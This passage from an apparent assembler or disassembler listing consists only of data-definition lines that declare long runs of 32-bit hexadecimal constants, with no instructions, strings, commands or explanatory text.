7BE89ADFh, 0F70119Ah, 4FEBF48Ah, 291F0EAFh, 0B6F52018h dd 0DF56F075h, 0A0E1304Eh, 0B900913Bh, 4FCA7518h, 8058512Eh dd 0FE85DC1Bh, 87D92E4Fh, 8A8BCB73h, 0AB48FA98h, 5E855804h dd 3AB5B11Ah, 0B628E0A4h, 820242CCh, 7DCF97DFh, 6B181385h dd 472DD561h, 421B3C29h, 6C9132D7h, 321C1DFCh, 6A4C2817h dd 2A326DD1h, 0E7BDEF0Ah, 0A3DB783h, 0E515D206h, 22D7F86Bh dd 0DF2AF6F0h, 5548876Ah, 8285C4CCh, 0DB3D2969h, 0A4308060h dd 5CFBA61Bh, 67C42BF8h, 0F98FC27h, 6E8EB858h, 60D8EDABh dd 27EB78A6h, 818B1027h, 0E9CCA464h, 0B9D09FBEh, 0CDE3DABAh dd 0E0024132h, 3A445F65h, 0F8C27C24h, 0DE811BC0h, 6096AB83h dd 7D6C9ED5h, 0D05419A3h, 5816BAh, 0D2C68D89h, 515CC3F3h dd 2104F58Bh, 0AE10A767h, 2487CCEAh, 0CD9BC425h, 0AF403620h dd 61774793h, 7DFCB7E7h, 2AA6959Ah, 5A399EEh, 62087568h dd 0F9A886DEh, 3E196CAEh, 84849184h, 0E367A59Ch, 41FDA71Bh dd 0C841A105h, 7D91DE75h, 1FF31678h, 0B77EF3D8h, 6B277843h dd 0CF4ADFADh, 3B328ABBh, 7A611939h, 7E43DE77h, 0EDE939A5h dd 7179AC13h, 173424B6h, 52D48D57h, 181788E2h, 311DF928h dd 0DD2555F4h, 6411D36Dh, 699C824Bh, 5E7DEBE7h, 504AC2FDh dd 0CC087BE3h, 9C9C2CE9h, 78CD31F7h, 584DCDC8h, 5CFBE6B5h dd 0AACB47B9h, 0FC891636h, 8206919h, 43FA8B54h, 0DD25B108h dd 0F18636BEh, 0FE2E92E2h, 84A514CBh, 5A478219h, 77B1CCD4h dd 0EA4C29A3h, 0DC34D363h, 0F577638Ch, 8273294Dh, 0DEC4446Fh dd 14E52843h, 973D5E31h dd 0B9837564h, 202DAF84h, 0C70FCF32h, 0C3AE0F46h, 0E6E14FBh dd 38520012h, 0AB21B3E3h, 691F3D84h, 6B9615D5h, 25CDE1Dh dd 0CD78BA4h, 0A9F4F8B2h, 43066C7Bh, 9D96EC3Dh, 0AF3C1C2Eh dd 95A14A70h, 89FAE405h, 64E70671h, 2DC8DF42h, 87A32CE6h dd 0CD065CE6h, 0C4BD81C1h, 2871088Ah, 0D2715A9h, 0EFC151BDh dd 9BB3F373h, 7693AE1Ch, 0BB383B29h, 87342B2Fh, 92C5C413h dd 94EACDB3h, 19ABF289h, 3A80A826h, 9A6880CAh, 0DBD3FAF0h dd 0C85AF395h, 0AF8DEA2Eh, 34295D3Dh, 4FDD714Bh, 88C22966h dd 0B2D9A854h, 9457AF55h, 35056DAAh, 0BBF4D5ACh, 3632FBC4h dd 71A7B9E5h, 7B1E11D7h, 0C2FD0569h, 0EF10D6EEh, 984946ACh dd 2D46CD6Ah, 3F62F542h, 76755201h, 7D0399B3h, 15E0AF52h dd 73EDB6A1h, 4CCCF52Dh, 419A2FF1h, 0B7B55D88h, 0BE53A02Ch dd 0F67F011Dh, 0C0D1A886h, 664323Ah, 35AA42EEh, 95CE0F0Dh dd 62D058B1h, 0EA0CB103h, 9D555419h, 0BA82825Dh, 8154B02h dd 17777373h, 1079628Dh, 37A74B0Fh, 35DC86AFh, 1187396Dh dd 95E5AD7Fh, 0FEF88773h, 0FC182797h, 26346181h, 1F32F52Bh dd 0FE246657h, 9F88FFA5h, 8B47B72Ah, 730CA243h, 0DD687BA7h dd 598C9081h, 78EDD972h, 0D73DA7C1h, 91BC7E97h, 0BB4B388Ah dd 0FCB61CA4h, 0CE914998h, 0EB8B49BBh, 674D6B16h, 3C8C73F5h dd 0B49DE983h, 0CBAC73D8h, 0EEDAB861h, 802F98DEh, 3C0FDCEh dd 86FF9686h, 0A3C597D9h, 0DE45CF4h, 6F7F87D9h, 0B9EA52ADh dd 9B5A24DEh, 30C8995h, 203EC1B2h, 0DCED7216h, 63348138h dd 6F189376h, 0AEBA4F42h, 0C7147ACAh, 6EC41C85h, 0A39E6FECh dd 0AB769B1Bh, 0C30C8603h, 0B50BDE63h, 3D340F67h, 644E4DEBh dd 9FB08669h, 0F833D5EAh, 41062B0Eh, 284110h, 1107CEE3h dd 572A53F1h, 83F3E438h, 1AB90EDBh, 22E7645Fh, 0FCD384C2h dd 0FE12A613h, 0F8570DCFh, 727ACB05h, 0ECB4FF20h, 6DCF743Fh dd 8CC152F5h, 2800688Dh, 0CECF8EBAh, 0B5CB4F82h, 0A95B5A06h dd 0C086D0DEh, 8113B894h, 5BAD203Ch, 0EE942153h, 288B894Ch dd 0B97E0434h, 0FC1FFA4Fh, 5C60EE92h, 0B39625A2h, 8461CB5Eh dd 0F1FC9465h, 82695C9Ah, 381BB88Ch, 54A5F54Ch, 5E88267h dd 9D82B6BDh, 0E4A44DDAh, 0A5EBF0B6h, 5C0AA6D9h, 74922FCAh dd 8965FB90h, 15A6FF9Bh, 0A47A9BF6h, 0C51922Ch, 263FE24Eh dd 61DE9C55h, 0D834FEFCh, 0E0B02420h, 0B586118Dh, 0E83A28B2h dd 0FC9E5EE7h, 34F3B744h, 0BCAACEBCh, 362C4755h, 60D6B8ECh dd 0F01DE9A5h, 21F1A413h, 636265FCh, 78F46A95h, 1188E044h dd 0B20AA326h, 624FD2B3h, 4C5A2C8Eh, 6341165Ch, 0EA4D1514h dd 8AE15EAAh, 0A32F2E3Ah, 63778233h, 0E56C9A4Ah, 0B674E79Ch dd 0C79CEAA2h, 0D269F739h, 7791E9FFh, 2474542h, 11D2D6CAh dd 0AEC32C24h, 0E1ACB78Bh, 6D4BFCF0h, 9249FF65h, 47ED99C1h dd 0BAE3588Ah, 6887F272h, 0C8B09941h, 0A86121A8h, 0ECE1A0B8h dd 0F82B5D39h, 5623F2C7h, 0D4C8834Dh, 538815FBh, 4C3F2311h dd 482007B6h, 0CDD2A2A8h, 0B6B3F9BEh, 48802F50h, 9A9D2A67h dd 0BD134241h, 1CC85153h, 4D7FFE2Ah, 4614066Dh, 900B1143h dd 0D9E51325h, 0EBF96399h, 96D676E5h, 3F3EECF4h, 4F952560h dd 5C86BB3h, 0FF2275DDh, 0A0D2877Dh, 3C7AE549h, 97F2C97Dh dd 0B665C03Bh, 22923085h, 0EF620D93h, 3A71C12Ch, 0DC830CEFh dd 7100A9AEh, 4E51229Ch, 2F26E9F1h, 0BFA93FB4h, 65E81CF3h dd 963E8792h, 0EBB13C65h, 7E1B69D0h, 386F0958h, 1F8DC1Bh dd 0E23A7E2Dh, 0CDC631CCh, 0F967B92Ch, 0FCDD0877h, 30FA692Fh dd 0DEC03298h, 88B55F8Dh, 77616C4Ch, 89763944h, 66B8A05Fh dd 21E60E86h, 5D46C5Dh, 0BB6F3DDCh, 84588B68h, 0BDAA5CB2h dd 887CE7F7h, 41B18B01h, 0F40A362Dh, 0B39BC1B2h, 0A6AD9949h dd 9AEB872Ah, 0E2B0CAD8h, 43D8EA05h, 434BBC3Fh, 755F2D8Eh dd 0C4A9401Fh, 0A840D2D3h, 6225124h, 7399A07Ah, 8C49DFE6h dd 790DD5A9h, 259528BDh, 796DCBE0h, 0B49D6DF5h, 26AAD525h dd 76E20247h, 2464752h, 51F55706h, 0D6859FD7h, 4B1E0689h dd 2275F346h, 830224E3h, 84F87586h, 0A0DCF47Ah, 0C98911F2h dd 9A2210Bh, 0FB98205Fh, 68D8BC28h, 58E6500Fh, 294EF154h dd 9A0E29BFh, 0A4CF0217h, 0F7634AD8h, 509F83EAh, 9418532Ah dd 1CA3BEC4h, 0FB9416ABh, 25885911h, 0BE6519DBh, 0F63BAEB9h dd 0E44E84E6h, 4BD1DF8Dh, 0FC034DD0h, 8F133F4Ch, 95589892h dd 8F9E739h, 4CD6464Ch, 41AD06F0h, 0EC989702h, 0FEA8D4C5h dd 0B6CDB94Bh, 0FB49EB10h, 64B7F764h, 9E261EA4h, 29A56EFDh dd 0A0116C91h, 2CBD1581h, 9665E08Ah, 87BA1EB4h, 4C87359Ch dd 9449088h, 0D285FC62h, 94FBC2A0h, 0C8999B34h, 0FDFA43A4h dd 0C09249EEh, 97C231E7h, 7C67E460h, 95F2B161h, 63A76F9Ch dd 307E903Fh, 96E9CD2h, 52CC7BF0h, 4CF6EE0Bh, 97035F1Fh dd 0FAFD93A9h, 1E5DFE99h, 9971A874h, 73A170FBh, 0B78B3C4Bh dd 9F249599h, 0F7606395h, 4948E7EDh, 0BFE69Fh, 0E852701Ah dd 6EA6BEFh, 3D3E6153h, 0AFEAC36Dh, 3CC8CACh, 2F253550h dd 0BBB7023Dh, 68B28077h, 0D036640Eh, 7717F053h, 96AF66B4h dd 2F1D2h, 0FF526046h, 0E8BC072Bh, 7145B5F9h, 7C15FF05h dd 1E4E6A93h, 39648C58h, 0BDAA5273h, 0B52282BEh, 0DABAD20Ah dd 3C190BE2h, 0A97E1838h, 28A406A9h, 0E7E86AC6h, 7798E72h dd 98AFE16Fh, 93580E2Eh, 0EB733975h, 0CE0CF309h, 2452F87Eh dd 47ADCC54h, 367739CEh, 75D8A2A1h, 2A10C6FCh, 0F4F1948h dd 6E919A07h, 0A5B79DC7h, 4BC952C3h, 5A906D8Dh, 55D106BBh dd 6981766Fh, 3D3A3E62h, 370D9B7Dh, 0FC779F08h, 2798803Bh dd 9A02CC40h, 0D2C2573h, 86D905F2h, 2662BE3Bh, 6836131Dh dd 8A1B117Fh, 0D0199B44h, 3310260Fh, 418469F8h, 1F4DE2ABh dd 2BB7F129h, 74087DE7h, 6477C466h, 138FE64h, 2BB01F71h dd 647015EBh, 63D090A5h, 6F9C8743h, 0DC88EA94h, 2722D5E9h dd 0BDEE8AAFh, 63167DA9h, 5F930751h, 64C6B1FFh, 44E3E434h dd 5C136B80h, 2609878h, 8CE60EA5h, 0EAA52C60h, 1729BF6Dh dd 8E21327h, 0D11AA7DCh, 84E4D058h, 6B847926h, 0E5712998h dd 99294C06h, 0C971354Bh, 10DE2250h, 0B5B08750h, 0C27FCEB3h dd 0B3B39C07h, 62BB1A90h, 0D7D93E38h, 52F7E207h, 910486E2h dd 9EF5CC53h, 939F735Eh, 2CDC8F90h, 72D8661Bh, 0C03CEA2Bh dd 3144F8E7h, 0A10DC92Dh, 0C2B45C8Ch, 5E510156h, 42DB42FCh dd 0B402F086h, 0D7C60442h, 1AEC49Fh, 6442D1D0h, 4A6490FCh dd 0FE9DCD83h, 50729FA9h, 23FACC6Ah, 0F4BABB56h, 45C77907h dd 0A5254625h, 0AE5F933Ch, 100DCE2Ch, 77AD5441h, 374C3A2Fh dd 5DE4E241h, 31316065h, 0E5B4F470h, 2661D475h, 2BCB314h dd 0A8A8ADh, 7629CDB6h, 3751D55Ch, 85D5497Ch, 0C13C6BA0h dd 9E0176CFh, 0A611B537h, 5711EAA9h, 0AAB96E18h, 0E1FF1971h dd 72A7BA4Ch, 72A7E79Fh, 0DE156D92h, 0E3F98879h, 6FB63E5Ah dd 8C0C1ACFh, 21442C83h, 0A7C7C98Bh, 0E6F36FF9h, 52A38DE1h dd 9DCB123Ch, 411DD143h, 78675A00h, 21F92274h, 0A4EAD603h dd 2979EBC1h, 5119422Eh, 3A1FD7FDh, 0C7968422h, 63DCEFADh dd 5C8850A2h, 0A2D215DBh, 8D3AF44Eh, 9E6B9DC0h, 821B1615h dd 0A422F3F6h, 0D9A28CD5h, 480B3C99h, 1DB21D6Ah, 7443FCDCh dd 98266912h, 0B5E76F3Eh dd 0CB9E43BDh, 9D6A81A3h, 0C80DAD18h, 3BD6D79Ch, 5A7D3B96h dd 1C225983h, 0BBA2AC7Eh, 10EE6A39h, 221F7652h, 0C5D4C1F3h dd 378A8952h, 8003C470h, 26376B1Fh, 0C33A86C2h, 0A8C860A9h dd 42734CE2h, 4B489414h, 0CA040B06h, 4F294036h, 5A6D81EEh dd 40AF11Bh, 0C72E1D62h, 0D8A1CD03h, 574E480Eh, 92E283B2h dd 69A28AB5h, 0F800D80Eh, 0DB20F953h, 0F963213Dh, 9A1A8106h dd 5ACC8837h, 5F03C143h, 8203B233h, 678A8C79h, 0EFCB6119h dd 50F42908h, 0DA7C4085h, 5E9ABFB4h, 573F287Fh, 0FCB11481h dd 0BA7884E5h, 58C8A1CBh, 66669D2Dh, 0A421D7A5h, 2BE5E482h dd 0B45B21E0h, 2832B71h, 0C12645E9h, 18EFF3E2h, 14191ABEh dd 35892AA9h, 36C559AAh, 319998C4h, 71F69369h, 0E4011277h dd 1215CB68h, 3391E1B9h, 1B2EAA4Eh, 23CAB2A0h, 0E5A28DA2h dd 0FDAB7ECEh, 0FB2472B5h, 0F793B7B0h, 0F17359CFh, 1A8394CDh dd 38223CBFh, 0D87393BDh, 0ECB48C0Dh, 0E5434878h, 695E3A48h dd 36A06B3Ch, 0A2D6BE6Fh, 1888BCC2h, 0D9ECF2E9h, 45325B7Bh dd 0E7CDE812h, 0A3183F93h, 0FBF6986h, 7F93643Dh, 0F9ADCC85h dd 48E9B7DCh, 4C05E9F4h, 1BADE9Ch, 8197CE3Fh, 0AFAB963Bh dd 56F61266h, 0F3F815B3h, 0CF077020h, 0F48D2318h, 5D6B31D4h dd 0D78A95A2h, 47F64A26h, 0A84EA2Dh, 0A101A8D9h, 37D8750Ah dd 4603D0A6h, 517FB835h, 7A1FAA4Ch, 0D7E016F0h, 0A8FDE361h dd 45590020h, 5EBE728h, 628D1EEFh, 0D48E6B11h, 0E635C2B0h dd 7ECCC8A5h, 2F4AA4C2h, 5739E0CCh, 48F45E04h, 70F6B448h dd 12BC6545h, 287B5CC6h, 9B47B081h, 0D245D2B4h, 7F5E5367h dd 35FA196h, 0D7E1AD28h, 9EC3E30Ch, 42F9E71Eh, 2D7A1C6Fh dd 97A36923h, 6B351A11h, 1134B4FDh, 222A7CD6h, 35B6C0E1h dd 1449798Eh, 6DC5D6FBh, 6D06CD54h, 0D742974Bh, 53A6A3F7h dd 4792D74Dh, 0AF0569C0h, 0A3AF7F7Bh, 0E4D60833h, 81A3DAAEh dd 3E587BD1h, 9734D0C0h, 0F0DF8AC2h, 25D3CAE8h, 0F4EF6AC3h dd 0C24A83CFh, 7E300CFEh, 3E8AC0D9h, 2689C773h, 0B8093DF7h dd 0E2CFA608h, 0E3B17E8Fh, 0F73FBB2h, 0D7717843h, 21850B46h dd 0B3A9735h, 9E319FDBh, 0C3DE9EE7h, 0BD6D573Eh, 4EB9F53h dd 7CD4B884h, 995ECCAAh, 0A68E0578h, 8F499D47h, 0D053DF6Bh dd 574E03D6h, 0E07A19A1h, 0F24A8619h, 0D0E25AA0h, 41934FFCh dd 6134E207h, 946F8294h, 94D14F44h, 72F35C9Eh, 0DF5C39BEh dd 1CFD2F05h, 152FC1FAh, 6361B77Eh, 0D759BBCCh, 0FAF3AA7Ah dd 0ED60252Ah, 2F83D0Ah, 1ABC704Ah, 8753181Bh, 17EF5811h dd 0F68C778Dh, 0AE87A27h, 5F32DD7Eh, 86DE5EFh, 777B9487h dd 0E4E690EBh, 0D330F372h, 0B9E84BF1h, 3D23C489h, 0CD1EB451h dd 73C7547h, 5CA8E7AFh, 4F5EDF5Ch, 5E95B18Fh, 33637BF0h dd 1805F0DEh, 0EB6FCFD8h, 0F5FA2D9Dh, 92598E7Eh, 8300375h dd 0FA7AEE63h, 3674671Bh, 7E16E2D1h, 0B540026Ah, 0F82F68DCh dd 4ACA30D6h, 6DABF1ECh, 49CE3B1Ah, 0B4370884h, 7A3F8EABh dd 282A5124h, 37A840B4h, 7A63AA46h, 71C77006h, 27BC8BC7h dd 0C7384856h, 629522CEh, 8F4AB882h, 6F5FD379h, 5CCEA564h dd 48E4B6F5h, 0F6FF90EEh, 5251F67Ch, 0CCDCA178h, 2EFF4967h dd 613473BDh, 9D39D0ABh, 0DE0F5F49h, 0D7F6B1E5h, 191D6D4Eh dd 4C5744D2h, 2B2E8BC0h, 69FB538Ah, 1B032549h, 0B9C4F929h dd 0EE7D2D8Fh, 0FF1FF369h, 654BB1B8h, 6C0A314Fh, 8C8ADEC8h dd 0B13B7A05h, 61D2CAA8h, 0B403272Dh, 0E84458DDh, 0FE051223h dd 37C973B5h, 64A2B7CEh, 3FC0FACBh, 0D7CBB06Fh, 0C61BDB2Ah dd 50FC5508h, 35EB4F6h, 0AA5AB7BAh, 6E7A62E4h, 0E6F35483h dd 52862A25h, 0AD7D6A52h, 8BD2F229h, 577D441Dh, 623A20B5h dd 9A88FCF7h, 60307CCCh, 3F94D5A5h, 0D0549A8Fh, 2184D8F0h dd 0DAB1FC88h, 0AB3CA080h, 27CD0534h, 5C23EB8Dh, 0CF6825E0h dd 0A3E852Fh, 0CFE6D5C8h, 0B8EFC1E7h, 0B12D001h, 0EEC54624h dd 0F23AFD82h, 1BE018A5h, 7C39EACFh, 2F9EE069h, 81AE395Bh dd 23D06A3h, 0BD780A3Ah, 5060CADFh, 56D6BAD2h, 0EF07519Dh dd 594FE6B9h, 0EFE1A51h, 2F08DA15h, 0D6DF53FDh, 4A5FEACDh dd 0F91D14EEh, 0E9A9CD5Ah, 82A8F3C7h, 76AFFADCh, 0C72B49F1h dd 2CB806ABh, 557A7857h, 0C59880Ah, 2CBA3B5Fh, 0A598287Ah dd 0D23F0D6Dh, 65670C18h, 786AE6A0h, 30882019h, 0D39E9EADh dd 55396347h, 0C4D0109Fh, 0D76488F1h, 3978C938h, 1A269874h dd 5F11522Dh, 81AA5E53h, 0BBD78C78h, 6C2478AFh, 10FC96ABh dd 0B48D59C6h, 7F264C49h, 7D9EA7D9h, 72AE39FBh, 0D8783795h dd 222BA596h, 0E1FB08A0h, 2B62573Ch, 31ABA0C4h, 25CF5C3Eh dd 231AABE5h, 3AB2DEBBh, 899167B3h, 0FD4490B1h, 0AD8F0DA0h dd 0F1717B3Eh, 806B4A73h, 26983580h, 0E8A90EBDh, 11606843h dd 0C8ADF946h, 0CD9ADE9Ch, 0A6512E16h, 58932EA2h, 0EB31B78Ch dd 0C266E98Ah, 0FC539844h, 3F5C1ECCh, 0FC0328A5h, 1B98706Fh dd 1D35C876h, 0B672536h, 2F3E9764h, 0EABE017Dh, 90733484h dd 640358A6h, 78E3F533h, 9862105Dh, 0EA4634Eh, 515E591Ch dd 24027422h, 0C42E66C8h, 852D266Fh, 60F98525h, 0A06DC3D6h dd 0BC3CCA75h, 0E714565Dh, 87D7FA3Dh, 675F5932h, 19F25164h dd 0A7C6F19Ch, 0B6669C1Fh, 85C5EAB7h, 93862B46h, 0D54899EEh dd 0AF86B415h, 0B0FBB8ECh, 0F0BB7281h, 0C0466849h, 0F404D8CEh dd 50A007C8h, 0B3335218h, 8B5A5B04h, 0A8D4A21Fh, 4C79C00Eh dd 315455B0h, 8DF3DF1h, 0BF6843D0h, 72F33B8Ch, 0B0042842h dd 0E277059Fh, 0F7C3458Bh, 7FEAAE62h, 0BD0F14D7h, 0E8C75FCBh dd 6682419Eh, 32280797h, 7C6226FAh, 0BDCC8CC0h, 28717A14h dd 7B83CC12h, 936B8FA7h, 9AF732Eh, 1F3852F8h, 0C414C3FEh dd 0CC0A50A1h, 511BA8E2h, 0B426135Dh, 7B185590h, 0DF001598h dd 0CD136658h, 0F56C4F42h, 29654A89h, 74494ADEh, 0C17F490Eh dd 0BA2C7028h, 653179Bh, 85060540h, 7FF3D536h, 0C089DCCBh dd 0CDC72A46h, 2BB378D8h, 0E299426Eh, 0B4FB0CBBh, 421F7354h dd 0DF609291h, 0A63E25AFh, 0D6E545A3h, 2DF8F0F8h, 0D3469F6Dh dd 0D454243Fh, 0E5EA32E0h, 419FB0A2h, 2BFD93D1h, 7B9A554Ch dd 8A9CF994h, 4B036E4h, 0DD942560h, 198DE960h, 1086FAC4h dd 0EAF8324Ah, 5F5C26D5h, 6339937h, 6770434Eh, 409FD094h dd 146C7FD8h, 0DDC48F0Bh, 811181C7h, 0F7AFF8C3h, 1ADB5CF3h dd 7F252EDBh, 0B7CE3862h, 0A94E226Ch, 0BD1B9F3Ah, 88380561h dd 6F8CD424h, 3AFD542h, 76C60F4Fh, 4566C123h, 3C2DCD9h dd 0A1615B1h, 4D3D49B2h, 0CC13EB62h, 0BED3B05Fh, 7EAB5D23h dd 739AC819h, 0F070998Fh, 446D96DEh, 1ADD68F3h, 8229F935h dd 36ECCEBAh, 0B8B973B0h, 0A02D3902h, 0FFB2E1Fh, 0D9199BE8h dd 0B3702CE3h, 58D62A89h, 4B16A5BFh, 23753E6Fh, 32E287D8h dd 0BE6EFAEAh, 45AB38DCh, 0D9558017h, 8A129EBBh, 722DB1AAh dd 433D2ED0h, 88457C9Ah, 940D4B70h, 7125492Eh, 4BCEC8C3h dd 0EF3DA5E2h, 0BC44B205h, 20C295AEh, 0C77E242Ch, 0BD1E7CA2h dd 0C0F83082h, 350ECEE6h, 628311D3h, 61EA7364h, 1C0FBDE3h dd 0F2546064h, 2E978972h, 0F7006911h, 7D705F40h, 0B6F61416h dd 9C95D231h, 1698EBF7h, 39297C57h, 98A0B85Ch, 2B0281FFh dd 8C2B5945h, 0B709CD25h, 6198AB4Ch, 934A1121h, 0CA3BF494h dd 65EA0E2Fh, 0EB66293Dh dd 0BD62B765h, 0FD705040h, 9A83F7AEh, 7B614F72h, 66E43964h dd 0B6F7398Ch, 0AFEB79B1h, 2F708A2Bh, 4A888C92h, 0D3900AABh dd 4F3531D0h, 2A6E3787h, 4B26EC03h, 0A700DBCEh, 0CBE3CF7Eh dd 640B6352h, 8E023AA1h, 8799D14h, 1EAC6881h, 2133F37Ah dd 0CBA4F9h, 909B86Ah, 546A4086h, 2E5813BBh, 95B1B2D7h dd 9EC54E89h, 0E3E9173h, 2EEF83FBh, 0F4879A65h, 6A7C48A5h dd 5DE5AA7Bh, 7A5721E3h, 803FCB0Ah, 0BFFC70A6h, 0A7A2A76Dh dd 0EAE2804Ah, 2328EF3Ch, 3852AB9h, 403A805Eh, 0FCABB0F4h dd 6CA330h, 4DB4A361h, 0D3482DCEh, 0EBAF8657h, 0E0E2E4Eh dd 0FEA4EDF1h, 0AF03D107h, 0B313F760h, 30E0CF2Ch, 671B617Bh dd 95068FC4h, 25075D0Eh, 9FF744ECh, 2D498DDEh, 0C6A9B006h dd 4EF67B9Ch, 0E2762EB9h, 2F87C390h, 68A9943h, 3CD44D9Ah dd 23F80A6Eh, 0AF386B68h, 0D717CF6Ch, 0E4CD8AFFh, 0F0E87F75h dd 0EBDEA327h, 0C2CD754Ch, 1895FF8h, 0C6423E1Dh, 0D127C9B2h dd 2951EC7Ch, 0FB96F246h, 0C04713FAh, 203A4C99h, 544ED04Bh dd 0B8550889h, 4F0DB92h, 76880905h, 0FDB91DB2h, 151C537Fh dd 21D1AC20h, 1149D6C5h, 86FEF1FBh, 503C7F80h, 9D185683h dd 0DC89C54Bh, 0B393CBF7h, 4F0BDBA5h, 0E015ABCEh, 8DF03A5Eh dd 4918B2D3h, 0FAEF756Bh, 0B78D1BE2h, 0C86E3D40h, 0BD4E13FAh dd 5622390Ch, 0CE11481Ah, 0B48C4C50h, 0C96DD4A0h, 7CA287F6h dd 0B44E008Bh, 2A1A4313h, 0D5A68023h, 0BDA8C9FBh, 0C996C60Fh dd 81DEF0AEh, 395FA243h, 2EA87084h, 0A97796F0h, 0B60E5D80h dd 2913A6A2h, 472509D6h, 1A023437h, 1888CA19h, 92636D2h dd 0F9852F37h, 91DB6ED0h, 3E609F42h, 0DB4CB2Ch, 400CB804h dd 80A0DF3Bh, 0D613049h, 0ABDE5B0Bh, 0E3CE3DF6h, 0CB0718D3h dd 0D736A564h, 84429BFDh, 0F12081ACh, 4F97E087h, 8BF7F452h dd 2B21BAC0h, 0E744F265h, 0B022EA87h, 2E9CBBBEh, 173C764Dh dd 0AECD1CF3h, 0B395E293h, 77EAADCDh, 0BA5371D6h, 0F0B32C30h dd 5BBADD73h, 0ECB797Bh, 0B9AB3B5Ch, 0FC2D42D0h, 668E7CBAh dd 44016C2Eh, 6DFA224Bh, 0CFB64675h, 0A8D8FEA5h, 59E4CB77h dd 0F57480F8h, 0C4B26F12h, 5F30796Ah, 0E64EE4h, 0B375410Ah dd 464EA5B2h, 0A9E0C68Fh, 19A982CDh, 67C85658h, 6D18F4B3h dd 0AC94AE4Ah, 0DA282D55h, 52C03421h, 0C9F006B9h, 0AFF78EE6h dd 4BEC9825h, 1A0B34FBh, 9A049304h, 853DC010h, 9E2D6A54h dd 0D671830Ch, 2046EF6Eh, 90B17DE5h, 67B28592h, 3818F3FEh dd 5EEB86C3h, 0C786365Dh, 8D9228B9h, 8D8EC039h, 8F96FF89h dd 84FB1725h, 0A3ADFC79h, 8199194Ch, 958FF126h, 7032EB0Ch dd 66D7BD4Eh, 0B23F1FB2h, 5FDF98F7h, 2ED2CCD8h, 4695D6F3h dd 2584A481h, 82B21231h, 5337ED8Bh, 0EFC2DA81h, 63F8AD38h dd 7C17244Bh, 0F29E014Fh, 0F351D07Fh, 0AAF949DBh, 9EFC2E18h dd 25D7F49Ah, 0CB79F85Ch, 0AE7ADA38h, 982BDF1h, 2ACF449Fh dd 76826184h, 85073A85h, 262B1E66h, 0E6673B57h, 5231E357h dd 0D44E5439h, 7EB321E1h, 0D5381198h, 6677F877h, 74231079h dd 34D7EE0Ah, 30A702FEh, 8C0DF2E6h, 5EF4AE93h, 0BF7FEF22h dd 2E072964h, 3DF69E38h, 4D58EB7Bh, 91C0C20Eh, 187AEF34h dd 20C64974h, 0CEB02BF7h, 0F29D82FCh, 0FFA7128Ah, 27CF0D14h dd 0EB808025h, 0BE80BF81h, 0CB0CBB92h, 309725Eh, 0A9F66CC9h dd 4869065h, 9A7AA4A5h, 0A40CE80Fh, 71F65AA5h, 0DEF7FAF3h dd 0E9C5788h, 1088D02Bh, 0C024EF8Bh, 0D2A0AD23h, 0A9933ECEh dd 8E16516Ch, 5ABF3C66h, 4A46E0A3h, 0AC3B312Ah, 0BFB7A23Fh dd 8935B571h, 0A0486818h, 0FF17DB46h, 1BAAF2B4h, 97DE9D48h dd 0D14EA953h, 79F70FEAh, 0D88D9406h, 0A424C100h, 0AB23A493h dd 5B6573E6h, 6585961h, 74375B83h, 4C0CC9D0h, 0C7366262h dd 95FB9A3Dh, 0F61D7CF9h, 0D0375321h, 0DC44A1EAh, 4DB92FB3h dd 358A9D09h, 0A7D254CEh, 0EF92C6Fh, 0F7111AEFh, 0A5AA3955h dd 42F7CCD4h, 6CF56CD3h, 0E50A19EFh, 182D9E2Dh, 0F805DAE3h dd 0A852BD27h, 2EA10E16h, 0C0A02E7Dh, 4C0B5D7Fh, 5B188C56h dd 0F428FF22h, 4D7588DDh, 5CE70EEh, 0FEE8974Bh, 2801832Bh dd 8EF7B2F0h, 43F80378h, 0F14686FAh, 51F74611h, 47AF4C37h dd 0C6E572CAh, 264E75C6h, 0BCCB2C2Fh, 9261D434h, 0D5718B23h dd 0BC734BEEh, 0D9D16EE0h, 0DEE459E3h, 63704105h, 9691CF91h dd 638B0D35h, 846ED1F3h, 9EC36CAEh, 109C4F35h, 9A21A55Ch dd 0EA8B21BAh, 1608714h, 0D6D40419h, 5152AC05h, 9A0FEFB4h dd 89304E04h, 3A8AFF0Dh, 0FD7E5B4Fh, 45202263h, 0B969106h dd 0AC8BF6C4h, 12A8DC78h, 0B5F686B1h, 639D6975h, 0A3B44330h dd 0B0503A0Eh, 26189141h, 6BDB362h, 0A2A21776h, 988B3219h dd 0E4761B1h, 1F9D52D3h, 39795912h, 0FF51A487h, 0B0C2684Dh dd 3A7D733Bh, 0B6476EA1h, 0D387326Ch, 9A2C8B17h, 0BA111DC7h dd 232E7315h, 0DF0E6DBEh, 0E1EB2068h, 431C3F3Bh, 3D3F8DD1h dd 8B0EA505h, 25501346h, 6CDCC8B6h, 7CDB76EBh, 0FD71803Bh dd 75F1B277h, 0C4E9183Ch, 0F8E4C22Bh, 53AF2B55h, 1D7D13C6h dd 1A99D8AFh, 0E91E9A02h, 0CC17F95Fh, 0EBF19EA7h, 0B233F791h dd 1199FCE6h, 93989A62h, 50245449h, 0DC262C12h, 1E3CBC69h dd 3032E34Dh, 80C55CBDh, 0A60FB6E5h, 0B24981FAh, 0D01F7F28h dd 6F43B8B0h, 646C74E9h, 32618795h, 6227E285h, 8A7FACBBh dd 0A1855F11h, 26F1B219h, 82606EDEh, 649DA1BAh, 2E207708h dd 0E4EA9F3Ch, 9524FBBBh, 0B5ACA67Dh, 0C21251C3h, 3891280Eh dd 5F12A86Dh, 27EE2390h, 92AF70A6h, 3FAA5C5Ah, 8627245Fh dd 2F21A467h, 0C5711BACh, 40D60312h, 0C2FB656h, 0E0ED3775h dd 6FE30847h, 0E683A9E4h, 6E3DB558h, 0B36163CFh, 202E9497h dd 0A4EC2844h, 524ABC76h, 176E86D4h, 0D38F868Bh, 0E026B093h dd 650B8541h, 6F67F611h, 53E94FDEh, 5FEC3183h, 3CDA3652h dd 0CFCB2BA1h, 0D14E3331h, 0FC8129F8h, 0EBC10F7Ch, 8CEFC4C1h dd 0D0EDEB1Dh, 0BAE04C7Dh, 59F019EEh, 0C06D7104h, 7966E402h dd 0B5E3E6ACh, 1E8E4991h, 0AB339499h, 0EEB1BE64h, 8570D9F3h dd 5C856F3h, 34DE4479h, 2F6C4519h, 0F186C890h, 4444B571h dd 0DA226013h, 9388FD3Fh, 0A4FD30E7h, 666E37F0h, 47AD63A2h dd 2A3DA9C1h, 758995E1h, 0ADDA671Ch, 0DC65FC7Fh, 5FEA8E4Bh dd 0A07FEDC3h, 200CD80Eh, 0B5DAD9FFh, 851018F6h, 73B2A2E0h dd 3997EB9Ch, 42DC69E1h, 3219B459h, 0AA57149Fh, 